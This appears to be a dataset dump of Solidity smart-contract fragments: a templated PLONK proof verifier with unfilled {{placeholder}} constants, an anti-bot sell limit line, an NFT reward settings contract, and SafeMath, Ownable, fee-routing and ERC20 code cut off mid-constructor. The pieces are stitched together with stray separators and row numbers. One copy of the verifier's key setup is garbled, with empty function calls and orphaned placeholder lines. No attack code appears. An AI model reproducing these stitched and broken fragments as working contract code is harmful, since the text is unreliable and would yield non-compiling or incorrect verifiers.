res = PairingsBn254.copy_g1(vk.gate_setup_commitments[STATE_WIDTH + 1]); // index of q_const(x)
PairingsBn254.G1Point memory tmp_g1 = PairingsBn254.P1();
PairingsBn254.Fr memory tmp_fr = PairingsBn254.new_fr(0);
// addition gates
for (uint256 i = 0; i < STATE_WIDTH; i++) {
tmp_g1 = vk.gate_setup_commitments[i].point_mul(proof.wire_values_at_z[i]);
res.point_add_assign(tmp_g1);
}
// multiplication gate
tmp_fr.assign(proof.wire_values_at_z[0]);
tmp_fr.mul_assign(proof.wire_values_at_z[1]);
tmp_g1 = vk.gate_setup_commitments[STATE_WIDTH].point_mul(tmp_fr);
res.point_add_assign(tmp_g1);
// d_next
tmp_g1 = vk.gate_setup_commitments[STATE_WIDTH + 2].point_mul(proof.wire_values_at_z_omega[0]); // index of q_d_next(x)
res.point_add_assign(tmp_g1);
// multiply by main gate selector(z)
res.point_mul_assign(proof.gate_selector_values_at_z[0]); // these is only one explicitly opened selector
PairingsBn254.Fr memory current_alpha = PairingsBn254.new_fr(ONE);
// calculate scalar contribution from the range check gate
tmp_fr = add_contribution_from_range_constraint_gates(state, proof, current_alpha);
tmp_g1 = vk.gate_selector_commitments[1].point_mul(tmp_fr); // selector commitment for range constraint gate * scalar
res.point_add_assign(tmp_g1);
// proceed as normal to copy permutation
current_alpha.mul_assign(state.alpha); // alpha^5
PairingsBn254.Fr memory alpha_for_grand_product = PairingsBn254.copy(current_alpha);
// z * non_res * beta + gamma + a
PairingsBn254.Fr memory grand_product_part_at_z = PairingsBn254.copy(state.z);
grand_product_part_at_z.mul_assign(state.beta);
grand_product_part_at_z.add_assign(proof.wire_values_at_z[0]);
grand_product_part_at_z.add_assign(state.gamma);
for (uint256 i = 0; i < vk.copy_permutation_non_residues.length; i++) {
tmp_fr.assign(state.z);
tmp_fr.mul_assign(vk.copy_permutation_non_residues[i]);
tmp_fr.mul_assign(state.beta);
tmp_fr.add_assign(state.gamma);
tmp_fr.add_assign(proof.wire_values_at_z[i + 1]);
grand_product_part_at_z.mul_assign(tmp_fr);
}
grand_product_part_at_z.mul_assign(alpha_for_grand_product);
// alpha^n & L_{0}(z), and we bump current_alpha
current_alpha.mul_assign(state.alpha);
tmp_fr.assign(state.cached_lagrange_evals[0]);
tmp_fr.mul_assign(current_alpha);
grand_product_part_at_z.add_assign(tmp_fr);
// prefactor for grand_product(x) is complete
// add to the linearization a part from the term
// - (a(z) + beta*perm_a + gamma)*()*()*z(z*omega) * beta * perm_d(X)
PairingsBn254.Fr memory last_permutation_part_at_z = PairingsBn254.new_fr(1);
for (uint256 i = 0; i < proof.permutation_polynomials_at_z.length; i++) {
tmp_fr.assign(state.beta);
tmp_fr.mul_assign(proof.permutation_polynomials_at_z[i]);
tmp_fr.add_assign(state.gamma);
tmp_fr.add_assign(proof.wire_values_at_z[i]);
last_permutation_part_at_z.mul_assign(tmp_fr);
}
last_permutation_part_at_z.mul_assign(state.beta);
last_permutation_part_at_z.mul_assign(proof.copy_grand_product_at_z_omega);
last_permutation_part_at_z.mul_assign(alpha_for_grand_product); // we multiply by the power of alpha from the argument
// actually multiply prefactors by z(x) and perm_d(x) and combine them
tmp_g1 = proof.copy_permutation_grand_product_commitment.point_mul(grand_product_part_at_z);
tmp_g1.point_sub_assign(vk.copy_permutation_commitments[STATE_WIDTH - 1].point_mul(last_permutation_part_at_z));
res.point_add_assign(tmp_g1);
// multiply them by v immedately as linearization has a factor of v^1
res.point_mul_assign(state.v);
// res now contains contribution from the gates linearization and
// copy permutation part
// now we need to add a part that is the rest
// for z(x*omega):
// - (a(z) + beta*perm_a + gamma)*()*()*(d(z) + gamma) * z(x*omega)
}
function aggregate_commitments(
PartialVerifierState memory state,
Proof memory proof,
VerificationKey memory vk
) internal view returns (PairingsBn254.G1Point[2] memory res) {
PairingsBn254.G1Point memory d = reconstruct_linearization_commitment(state, proof, vk);
PairingsBn254.Fr memory z_in_domain_size = state.z.pow(vk.domain_size);
PairingsBn254.G1Point memory tmp_g1 = PairingsBn254.P1();
PairingsBn254.Fr memory aggregation_challenge = PairingsBn254.new_fr(1);
PairingsBn254.G1Point memory commitment_aggregation = PairingsBn254.copy_g1(proof.quotient_poly_commitments[0]);
PairingsBn254.Fr memory tmp_fr = PairingsBn254.new_fr(1);
for (uint256 i = 1; i < proof.quotient_poly_commitments.length; i++) {
tmp_fr.mul_assign(z_in_domain_size);
tmp_g1 = proof.quotient_poly_commitments[i].point_mul(tmp_fr);
commitment_aggregation.point_add_assign(tmp_g1);
}
aggregation_challenge.mul_assign(state.v);
commitment_aggregation.point_add_assign(d);
for (uint256 i = 0; i < proof.wire_commitments.length; i++) {
aggregation_challenge.mul_assign(state.v);
tmp_g1 = proof.wire_commitments[i].point_mul(aggregation_challenge);
commitment_aggregation.point_add_assign(tmp_g1);
}
for (uint256 i = 0; i < NUM_GATE_SELECTORS_OPENED_EXPLICITLY; i++) {
aggregation_challenge.mul_assign(state.v);
tmp_g1 = vk.gate_selector_commitments[0].point_mul(aggregation_challenge);
commitment_aggregation.point_add_assign(tmp_g1);
}
for (uint256 i = 0; i < vk.copy_permutation_commitments.length - 1; i++) {
aggregation_challenge.mul_assign(state.v);
tmp_g1 = vk.copy_permutation_commitments[i].point_mul(aggregation_challenge);
commitment_aggregation.point_add_assign(tmp_g1);
}
aggregation_challenge.mul_assign(state.v);
// now do prefactor for grand_product(x*omega)
tmp_fr.assign(aggregation_challenge);
tmp_fr.mul_assign(state.u);
commitment_aggregation.point_add_assign(proof.copy_permutation_grand_product_commitment.point_mul(tmp_fr));
aggregation_challenge.mul_assign(state.v);
tmp_fr.assign(aggregation_challenge);
tmp_fr.mul_assign(state.u);
tmp_g1 = proof.wire_commitments[STATE_WIDTH - 1].point_mul(tmp_fr);
commitment_aggregation.point_add_assign(tmp_g1);
// collect opening values
aggregation_challenge = PairingsBn254.new_fr(1);
PairingsBn254.Fr memory aggregated_value = PairingsBn254.copy(proof.quotient_polynomial_at_z);
aggregation_challenge.mul_assign(state.v);
tmp_fr.assign(proof.linearization_polynomial_at_z);
tmp_fr.mul_assign(aggregation_challenge);
aggregated_value.add_assign(tmp_fr);
for (uint256 i = 0; i < proof.wire_values_at_z.length; i++) {
aggregation_challenge.mul_assign(state.v);
tmp_fr.assign(proof.wire_values_at_z[i]);
tmp_fr.mul_assign(aggregation_challenge);
aggregated_value.add_assign(tmp_fr);
}
for (uint256 i = 0; i < proof.gate_selector_values_at_z.length; i++) {
aggregation_challenge.mul_assign(state.v);
tmp_fr.assign(proof.gate_selector_values_at_z[i]);
tmp_fr.mul_assign(aggregation_challenge);
aggregated_value.add_assign(tmp_fr);
}
for (uint256 i = 0; i < proof.permutation_polynomials_at_z.length; i++) {
aggregation_challenge.mul_assign(state.v);
tmp_fr.assign(proof.permutation_polynomials_at_z[i]);
tmp_fr.mul_assign(aggregation_challenge);
aggregated_value.add_assign(tmp_fr);
}
aggregation_challenge.mul_assign(state.v);
tmp_fr.assign(proof.copy_grand_product_at_z_omega);
tmp_fr.mul_assign(aggregation_challenge);
tmp_fr.mul_assign(state.u);
aggregated_value.add_assign(tmp_fr);
aggregation_challenge.mul_assign(state.v);
tmp_fr.assign(proof.wire_values_at_z_omega[0]);
tmp_fr.mul_assign(aggregation_challenge);
tmp_fr.mul_assign(state.u);
aggregated_value.add_assign(tmp_fr);
commitment_aggregation.point_sub_assign(PairingsBn254.P1().point_mul(aggregated_value));
PairingsBn254.G1Point memory pair_with_generator = commitment_aggregation;
pair_with_generator.point_add_assign(proof.opening_at_z_proof.point_mul(state.z));
tmp_fr.assign(state.z);
tmp_fr.mul_assign(vk.omega);
tmp_fr.mul_assign(state.u);
pair_with_generator.point_add_assign(proof.opening_at_z_omega_proof.point_mul(tmp_fr));
PairingsBn254.G1Point memory pair_with_x = proof.opening_at_z_omega_proof.point_mul(state.u);
pair_with_x.point_add_assign(proof.opening_at_z_proof);
pair_with_x.negate();
res[0] = pair_with_generator;
res[1] = pair_with_x;
return res;
}
function verify_initial(
PartialVerifierState memory state,
Proof memory proof,
VerificationKey memory vk
) internal view returns (bool) {
require(proof.input_values.length == vk.num_inputs);
require(vk.num_inputs >= 1);
TranscriptLibrary.Transcript memory transcript = TranscriptLibrary.new_transcript();
for (uint256 i = 0; i < vk.num_inputs; i++) {
transcript.update_with_u256(proof.input_values[i]);
}
for (uint256 i = 0; i < proof.wire_commitments.length; i++) {
transcript.update_with_g1(proof.wire_commitments[i]);
}
state.beta = transcript.get_challenge();
state.gamma = transcript.get_challenge();
transcript.update_with_g1(proof.copy_permutation_grand_product_commitment);
state.alpha = transcript.get_challenge();
for (uint256 i = 0; i < proof.quotient_poly_commitments.length; i++) {
transcript.update_with_g1(proof.quotient_poly_commitments[i]);
}
state.z = transcript.get_challenge();
uint256[] memory lagrange_poly_numbers = new uint256[](vk.num_inputs);
for (uint256 i = 0; i < lagrange_poly_numbers.length; i++) {
lagrange_poly_numbers[i] = i;
}
state.cached_lagrange_evals = batch_evaluate_lagrange_poly_out_of_domain(
lagrange_poly_numbers,
vk.domain_size,
vk.omega,
state.z
);
bool valid = verify_at_z(state, proof, vk);
if (valid == false) {
return false;
}
transcript.update_with_fr(proof.quotient_polynomial_at_z);
for (uint256 i = 0; i < proof.wire_values_at_z.length; i++) {
transcript.update_with_fr(proof.wire_values_at_z[i]);
}
for (uint256 i = 0; i < proof.wire_values_at_z_omega.length; i++) {
transcript.update_with_fr(proof.wire_values_at_z_omega[i]);
}
transcript.update_with_fr(proof.gate_selector_values_at_z[0]);
for (uint256 i = 0; i < proof.permutation_polynomials_at_z.length; i++) {
transcript.update_with_fr(proof.permutation_polynomials_at_z[i]);
}
transcript.update_with_fr(proof.copy_grand_product_at_z_omega);
transcript.update_with_fr(proof.linearization_polynomial_at_z);
state.v = transcript.get_challenge();
transcript.update_with_g1(proof.opening_at_z_proof);
transcript.update_with_g1(proof.opening_at_z_omega_proof);
state.u = transcript.get_challenge();
return true;
}
// This verifier is for a PLONK with a state width 4
// and main gate equation
// q_a(X) * a(X) +
// q_b(X) * b(X) +
// q_c(X) * c(X) +
// q_d(X) * d(X) +
// q_m(X) * a(X) * b(X) +
// q_constants(X)+
// q_d_next(X) * d(X*omega)
// where q_{}(X) are selectors a, b, c, d - state (witness) polynomials
// q_d_next(X) "peeks" into the next row of the trace, so it takes
// the same d(X) polynomial, but shifted
function aggregate_for_verification(Proof memory proof, VerificationKey memory vk)
internal
view
returns (bool valid, PairingsBn254.G1Point[2] memory part)
{
PartialVerifierState memory state;
valid = verify_initial(state, proof, vk);
if (valid == false) {
return (valid, part);
}
part = aggregate_commitments(state, proof, vk);
(valid, part);
}
function verify(Proof memory proof, VerificationKey memory vk) internal view returns (bool) {
(bool valid, PairingsBn254.G1Point[2] memory recursive_proof_part) = aggregate_for_verification(proof, vk);
if (valid == false) {
return false;
}
valid = PairingsBn254.pairingProd2(
recursive_proof_part[0],
PairingsBn254.P2(),
recursive_proof_part[1],
vk.g2_x
);
return valid;
}
function verify_recursive(
Proof memory proof,
VerificationKey memory vk,
uint256 recursive_vks_root,
uint8 max_valid_index,
uint8[] memory recursive_vks_indexes,
uint256[] memory individual_vks_inputs,
uint256[16] memory subproofs_limbs
) internal view returns (bool) {
(uint256 recursive_input, PairingsBn254.G1Point[2] memory aggregated_g1s) =
reconstruct_recursive_public_input(
recursive_vks_root,
max_valid_index,
recursive_vks_indexes,
individual_vks_inputs,
subproofs_limbs
);
assert(recursive_input == proof.input_values[0]);
(bool valid, PairingsBn254.G1Point[2] memory recursive_proof_part) = aggregate_for_verification(proof, vk);
if (valid == false) {
return false;
}
// aggregated_g1s = inner
// recursive_proof_part = outer
PairingsBn254.G1Point[2] memory combined = combine_inner_and_outer(aggregated_g1s, recursive_proof_part);
valid = PairingsBn254.pairingProd2(combined[0], PairingsBn254.P2(), combined[1], vk.g2_x);
return valid;
}
function combine_inner_and_outer(PairingsBn254.G1Point[2] memory inner, PairingsBn254.G1Point[2] memory outer)
internal
view
returns (PairingsBn254.G1Point[2] memory result)
{
// reuse the transcript primitive
TranscriptLibrary.Transcript memory transcript = TranscriptLibrary.new_transcript();
transcript.update_with_g1(inner[0]);
transcript.update_with_g1(inner[1]);
transcript.update_with_g1(outer[0]);
transcript.update_with_g1(outer[1]);
PairingsBn254.Fr memory challenge = transcript.get_challenge();
// 1 * inner + challenge * outer
result[0] = PairingsBn254.copy_g1(inner[0]);
result[1] = PairingsBn254.copy_g1(inner[1]);
PairingsBn254.G1Point memory tmp = outer[0].point_mul(challenge);
result[0].point_add_assign(tmp);
tmp = outer[1].point_mul(challenge);
result[1].point_add_assign(tmp);
return result;
}
function reconstruct_recursive_public_input(
uint256 recursive_vks_root,
uint8 max_valid_index,
uint8[] memory recursive_vks_indexes,
uint256[] memory individual_vks_inputs,
uint256[16] memory subproofs_aggregated
) internal pure returns (uint256 recursive_input, PairingsBn254.G1Point[2] memory reconstructed_g1s) {
assert(recursive_vks_indexes.length * {{ individual_input_num }} == individual_vks_inputs.length);
bytes memory concatenated = abi.encodePacked(recursive_vks_root);
uint8 index;
for (uint256 i = 0; i < recursive_vks_indexes.length; i++) {
index = recursive_vks_indexes[i];
assert(index <= max_valid_index);
concatenated = abi.encodePacked(concatenated, index);
}
uint256 input;
for (uint256 i = 0; i < individual_vks_inputs.length; i++) {
input = individual_vks_inputs[i];
assert(input < r_mod);
concatenated = abi.encodePacked(concatenated, input);
}
concatenated = abi.encodePacked(concatenated, subproofs_aggregated);
bytes32 commitment = sha256(concatenated);
recursive_input = uint256(commitment) & RECURSIVE_CIRCUIT_INPUT_COMMITMENT_MASK;
reconstructed_g1s[0] = PairingsBn254.new_g1_checked(
subproofs_aggregated[0] +
(subproofs_aggregated[1] << LIMB_WIDTH) +
(subproofs_aggregated[2] << (2 * LIMB_WIDTH)) +
(subproofs_aggregated[3] << (3 * LIMB_WIDTH)),
subproofs_aggregated[4] +
(subproofs_aggregated[5] << LIMB_WIDTH) +
(subproofs_aggregated[6] << (2 * LIMB_WIDTH)) +
(subproofs_aggregated[7] << (3 * LIMB_WIDTH))
);
reconstructed_g1s[1] = PairingsBn254.new_g1_checked(
subproofs_aggregated[8] +
(subproofs_aggregated[9] << LIMB_WIDTH) +
(subproofs_aggregated[10] << (2 * LIMB_WIDTH)) +
(subproofs_aggregated[11] << (3 * LIMB_WIDTH)),
subproofs_aggregated[12] +
(subproofs_aggregated[13] << LIMB_WIDTH) +
(subproofs_aggregated[14] << (2 * LIMB_WIDTH)) +
(subproofs_aggregated[15] << (3 * LIMB_WIDTH))
);
return (recursive_input, reconstructed_g1s);
}
}
contract VerifierWithDeserialize is Plonk4VerifierWithAccessToDNext {
uint256 constant SERIALIZED_PROOF_LENGTH = 34;
function deserialize_proof(uint256[] memory public_inputs, uint256[] memory serialized_proof)
internal
pure
returns (Proof memory proof)
{
require(serialized_proof.length == SERIALIZED_PROOF_LENGTH);
proof.input_values = new uint256[](public_inputs.length);
for (uint256 i = 0; i < public_inputs.length; i++) {
proof.input_values[i] = public_inputs[i];
}
uint256 j = 0;
for (uint256 i = 0; i < STATE_WIDTH; i++) {
proof.wire_commitments[i] = PairingsBn254.new_g1_checked(serialized_proof[j], serialized_proof[j + 1]);
j += 2;
}
proof.copy_permutation_grand_product_commitment = PairingsBn254.new_g1_checked(
serialized_proof[j],
serialized_proof[j + 1]
);
j += 2;
for (uint256 i = 0; i < STATE_WIDTH; i++) {
proof.quotient_poly_commitments[i] = PairingsBn254.new_g1_checked(
serialized_proof[j],
serialized_proof[j + 1]
);
j += 2;
}
for (uint256 i = 0; i < STATE_WIDTH; i++) {
proof.wire_values_at_z[i] = PairingsBn254.new_fr(serialized_proof[j]);
j += 1;
}
for (uint256 i = 0; i < proof.wire_values_at_z_omega.length; i++) {
proof.wire_values_at_z_omega[i] = PairingsBn254.new_fr(serialized_proof[j]);
j += 1;
}
for (uint256 i = 0; i < proof.gate_selector_values_at_z.length; i++) {
proof.gate_selector_values_at_z[i] = PairingsBn254.new_fr(serialized_proof[j]);
j += 1;
}
for (uint256 i = 0; i < proof.permutation_polynomials_at_z.length; i++) {
proof.permutation_polynomials_at_z[i] = PairingsBn254.new_fr(serialized_proof[j]);
j += 1;
}
proof.copy_grand_product_at_z_omega = PairingsBn254.new_fr(serialized_proof[j]);
j += 1;
proof.quotient_polynomial_at_z = PairingsBn254.new_fr(serialized_proof[j]);
j += 1;
proof.linearization_polynomial_at_z = PairingsBn254.new_fr(serialized_proof[j]);
j += 1;
proof.opening_at_z_proof = PairingsBn254.new_g1_checked(serialized_proof[j], serialized_proof[j + 1]);
j += 2;
proof.opening_at_z_omega_proof = PairingsBn254.new_g1_checked(serialized_proof[j], serialized_proof[j + 1]);
}
function verify_serialized_proof(
uint256[] memory public_inputs,
uint256[] memory serialized_proof,
VerificationKey memory vk
) public view returns (bool) {
require(vk.num_inputs == public_inputs.length);
Proof memory proof = deserialize_proof(public_inputs, serialized_proof);
bool valid = verify(proof, vk);
return valid;
}
function verify_serialized_proof_with_recursion(
uint256[] memory public_inputs,
uint256[] memory serialized_proof,
uint256 recursive_vks_root,
uint8 max_valid_index,
uint8[] memory recursive_vks_indexes,
uint256[] memory individual_vks_inputs,
uint256[16] memory subproofs_limbs,
VerificationKey memory vk
) public view returns (bool) {
require(vk.num_inputs == public_inputs.length);
Proof memory proof = deserialize_proof(public_inputs, serialized_proof);
bool valid =
verify_recursive(
proof,
vk,
recursive_vks_root,
max_valid_index,
recursive_vks_indexes,
individual_vks_inputs,
subproofs_limbs
);
return valid;
}
}
// Hardcoded constants to avoid accessing store
contract KeysWithPlonkVerifier is VerifierWithDeserialize {
uint256 constant VK_TREE_ROOT = {{vk_tree_root}};
uint8 constant VK_MAX_INDEX = 255; // hardcoded as 255 to consist with plonkit
function getVkAggregated() internal pure returns(VerificationKey memory vk) {
vk.domain_size = {{domain_size}};
vk.num_inputs = {{num_inputs}};
vk.omega = PairingsBn254.new_fr({{omega}});
vk.gate_setup_commitments[0] = PairingsBn254.new_g1(
{{gate_setup_commitment_0_0}},
{{gate_setup_commitment_0_1}}
);
vk.gate_setup_commitments[1] = PairingsBn254.new_g1(
{{gate_setup_commitment_1_0}},
{{gate_setup_commitment_1_1}}
);
vk.gate_setup_commitments[2] = PairingsBn254.new_g1(
{{gate_setup_commitment_2_0}},
{{gate_setup_commitment_2_1}}
);
vk.gate_setup_commitments[3] = PairingsBn254.new_g1(
{{gate_setup_commitment_3_0}},
{{gate_setup_commitment_3_1}}
);
vk.gate_setup_commitments[4] = PairingsBn254.new_g1(
{{gate_setup_commitment_4_0}},
{{gate_setup_commitment_4_1}}
);
vk.gate_setup_commitments[5] = PairingsBn254.new_g1(
{{gate_setup_commitment_5_0}},
{{gate_setup_commitment_5_1}}
);
vk.gate_setup_commitments[6] = PairingsBn254.new_g1(
{{gate_setup_commitment_6_0}},
{{gate_setup_commitment_6_1}}
);
vk.gate_selector_commitments[0] = PairingsBn254.new_g1(
{{gate_selector_commitment_0_0}},
{{gate_selector_commitment_0_1}}
);
vk.gate_selector_commitments[1] = PairingsBn254.new_g1(
{{gate_selector_commitment_1_0}},
{{gate_selector_commitment_1_1}}
);
vk.copy_permutation_commitments[0] = PairingsBn254.new_g1(
{{permutation_commitment_0_0}},
{{permutation_commitment_0_1}}
);
vk.copy_permutation_commitments[1] = PairingsBn254.new_g1(
{{permutation_commitment_1_0}},
{{permutation_commitment_1_1}}
);
vk.copy_permutation_commitments[2] = PairingsBn254.new_g1(
{{permutation_commitment_2_0}},
{{permutation_commitment_2_1}}
);
vk.copy_permutation_commitments[3] = PairingsBn254.new_g1(
{{permutation_commitment_3_0}},
{{permutation_commitment_3_1}}
);
vk.copy_permutation_non_residues[0] = PairingsBn254.new_fr(
{{permutation_non_residue_0}}
);
vk.copy_permutation_non_residues[1] = PairingsBn254.new_fr(
{{permutation_non_residue_1}}
);
vk.copy_permutation_non_residues[2] = PairingsBn254.new_fr(
{{permutation_non_residue_2}}
);
vk.g2_x = PairingsBn254.new_g2(
[{{g2_x_x_c1}},
{{g2_x_x_c0}}],
[{{g2_x_y_c1}},
{{g2_x_y_c0}}]
);
}
function verifyAggregatedProof(
uint256[] memory _recursiveInput,
uint256[] memory _proof,
uint8[] memory _vkIndexes,
uint256[] memory _individualVksInputs,
uint256[16] memory _subproofsLimbs
) external view returns (bool) {
VerificationKey memory vk = getVkAggregated();
return
verify_serialized_proof_with_recursion(
_recursiveInput,
_proof,
VK_TREE_ROOT,
VK_MAX_INDEX,
_vkIndexes,
_individualVksInputs,
_subproofsLimbs,
vk
);
}
}
|
Hardcoded constants to avoid accessing store
|
contract KeysWithPlonkVerifier is VerifierWithDeserialize {
uint256 constant VK_TREE_ROOT = {{vk_tree_root}};
function getVkAggregated() internal pure returns(VerificationKey memory vk) {
vk.gate_setup_commitments[0] = PairingsBn254.new_g1(
);
vk.gate_setup_commitments[1] = PairingsBn254.new_g1(
);
vk.gate_setup_commitments[2] = PairingsBn254.new_g1(
);
vk.gate_setup_commitments[3] = PairingsBn254.new_g1(
);
vk.gate_setup_commitments[4] = PairingsBn254.new_g1(
);
vk.gate_setup_commitments[5] = PairingsBn254.new_g1(
);
vk.gate_setup_commitments[6] = PairingsBn254.new_g1(
);
vk.gate_selector_commitments[0] = PairingsBn254.new_g1(
);
vk.gate_selector_commitments[1] = PairingsBn254.new_g1(
);
vk.copy_permutation_commitments[0] = PairingsBn254.new_g1(
);
vk.copy_permutation_commitments[1] = PairingsBn254.new_g1(
);
vk.copy_permutation_commitments[2] = PairingsBn254.new_g1(
);
vk.copy_permutation_commitments[3] = PairingsBn254.new_g1(
);
vk.copy_permutation_non_residues[0] = PairingsBn254.new_fr(
);
vk.copy_permutation_non_residues[1] = PairingsBn254.new_fr(
);
vk.copy_permutation_non_residues[2] = PairingsBn254.new_fr(
);
vk.g2_x = PairingsBn254.new_g2(
);
}
vk.domain_size = {{domain_size}};
vk.num_inputs = {{num_inputs}};
vk.omega = PairingsBn254.new_fr({{omega}});
{{gate_setup_commitment_0_0}},
{{gate_setup_commitment_0_1}}
{{gate_setup_commitment_1_0}},
{{gate_setup_commitment_1_1}}
{{gate_setup_commitment_2_0}},
{{gate_setup_commitment_2_1}}
{{gate_setup_commitment_3_0}},
{{gate_setup_commitment_3_1}}
{{gate_setup_commitment_4_0}},
{{gate_setup_commitment_4_1}}
{{gate_setup_commitment_5_0}},
{{gate_setup_commitment_5_1}}
{{gate_setup_commitment_6_0}},
{{gate_setup_commitment_6_1}}
{{gate_selector_commitment_0_0}},
{{gate_selector_commitment_0_1}}
{{gate_selector_commitment_1_0}},
{{gate_selector_commitment_1_1}}
{{permutation_commitment_0_0}},
{{permutation_commitment_0_1}}
{{permutation_commitment_1_0}},
{{permutation_commitment_1_1}}
{{permutation_commitment_2_0}},
{{permutation_commitment_2_1}}
{{permutation_commitment_3_0}},
{{permutation_commitment_3_1}}
{{permutation_non_residue_0}}
{{permutation_non_residue_1}}
{{permutation_non_residue_2}}
[{{g2_x_x_c1}},
{{g2_x_x_c0}}],
[{{g2_x_y_c1}},
{{g2_x_y_c0}}]
function verifyAggregatedProof(
uint256[] memory _recursiveInput,
uint256[] memory _proof,
uint8[] memory _vkIndexes,
uint256[] memory _individualVksInputs,
uint256[16] memory _subproofsLimbs
) external view returns (bool) {
VerificationKey memory vk = getVkAggregated();
return
verify_serialized_proof_with_recursion(
_recursiveInput,
_proof,
VK_TREE_ROOT,
VK_MAX_INDEX,
_vkIndexes,
_individualVksInputs,
_subproofsLimbs,
vk
);
}
}
| 938,205
|
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./full_match/56/0x41b296076F4432cF56cDc5598Ea29203f3a9B17a/sources/project_/contracts/acg.sol
|
1Block/3sec - 100blocks = 5 minutes
|
uint256 public botSellBlockLimit = 100;
| 3,257,059
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// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol";
import "../deck/EmblemDeckInterface.sol";
import "../common/EmblemAccessControl.sol";
abstract contract EmblemDremKnobs is EmblemAccessControl {
/// @dev The ERC-165 interface signature for ERC-721.
bytes4 constant InterfaceSignature_ERC721 =
type(IERC721Enumerable).interfaceId;
// Reference to contract tracking NFT ownership
EmblemDeckInterface public nonFungibleContract;
/// @dev The number of cards to get 1 DREM
uint256 public rewardThreshold = 20;
constructor(address nftAddress) {
ceoAddress = payable(msg.sender);
cooAddress = payable(msg.sender);
cfoAddress = payable(msg.sender);
EmblemDeckInterface candidateContract = EmblemDeckInterface(nftAddress);
require(
candidateContract.supportsInterface(InterfaceSignature_ERC721),
"NFT contract does not support ERC-721"
);
nonFungibleContract = candidateContract;
}
/// @dev CFO can update the reward threshold
function setRewardThreshold(uint256 threshold) external onlyCFO {
emit ContractKnobUpdated("rewardThreshold", rewardThreshold, threshold);
rewardThreshold = threshold;
}
/// @dev C-level can update the NFT contract
function setNFTContract(address nftAddress) external onlyCLevel {
EmblemDeckInterface candidateContract = EmblemDeckInterface(nftAddress);
require(
candidateContract.supportsInterface(InterfaceSignature_ERC721),
"NFT contract does not support ERC-721"
);
nonFungibleContract = candidateContract;
}
}
|
@dev C-level can update the NFT contract
|
function setNFTContract(address nftAddress) external onlyCLevel {
EmblemDeckInterface candidateContract = EmblemDeckInterface(nftAddress);
require(
candidateContract.supportsInterface(InterfaceSignature_ERC721),
"NFT contract does not support ERC-721"
);
nonFungibleContract = candidateContract;
}
| 1,752,022
|
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// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./AccessControl.sol";
/**
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
abstract contract Ownable {
address internal _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
_owner = msg.sender;
emit OwnershipTransferred(address(0), msg.sender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @dev The FeeRouter contract defines the fee schedule of AXIA Coin and calculates
* the corresponding receiving amounts for sender, receiver and the foundation account.
*/
contract FeeRouter {
using SafeMath for uint256;
event feeScheduleUpdated(uint256 senderPercentage, uint256 foundationPercentage, uint256 receiverPercentage);
uint256 internal _senderPercentage;
uint256 internal _foundationPercentage;
uint256 internal _receiverPercentage;
/**
* @dev Creates an instance of `FeeRouter` and initialize fee schedule
*/
constructor () {
_senderPercentage = 0;
_foundationPercentage = 15;
_receiverPercentage = 985;
}
/**
* @dev Update the fee schedule. The percentages should be in thousandths*1000.
* For example, if the desired fee is 2β°, the input should be 2. Three values
* MUST sum up to 1000.
*/
function _updateFeeSchedule(uint256 senderPercentage, uint256 foundationPercentage, uint256 receiverPercentage) internal {
require(senderPercentage.add(foundationPercentage).add(receiverPercentage) == 1000, "Percentages do not sum up to 1000");
_senderPercentage = senderPercentage;
_foundationPercentage = foundationPercentage;
_receiverPercentage = receiverPercentage;
emit feeScheduleUpdated(_senderPercentage, _foundationPercentage, _receiverPercentage);
}
/**
* @dev Get current fees.
*/
function getFeeSchedule() public view returns( uint256[3] memory) {
return [_senderPercentage, _foundationPercentage, _receiverPercentage];
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Implementation of the {IERC20} interface.
*/
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) internal _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _maxTotalSupply;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*/
constructor (string memory name_, string memory symbol_, uint256 maxTotalSupply_) {
_name = name_;
_symbol = symbol_;
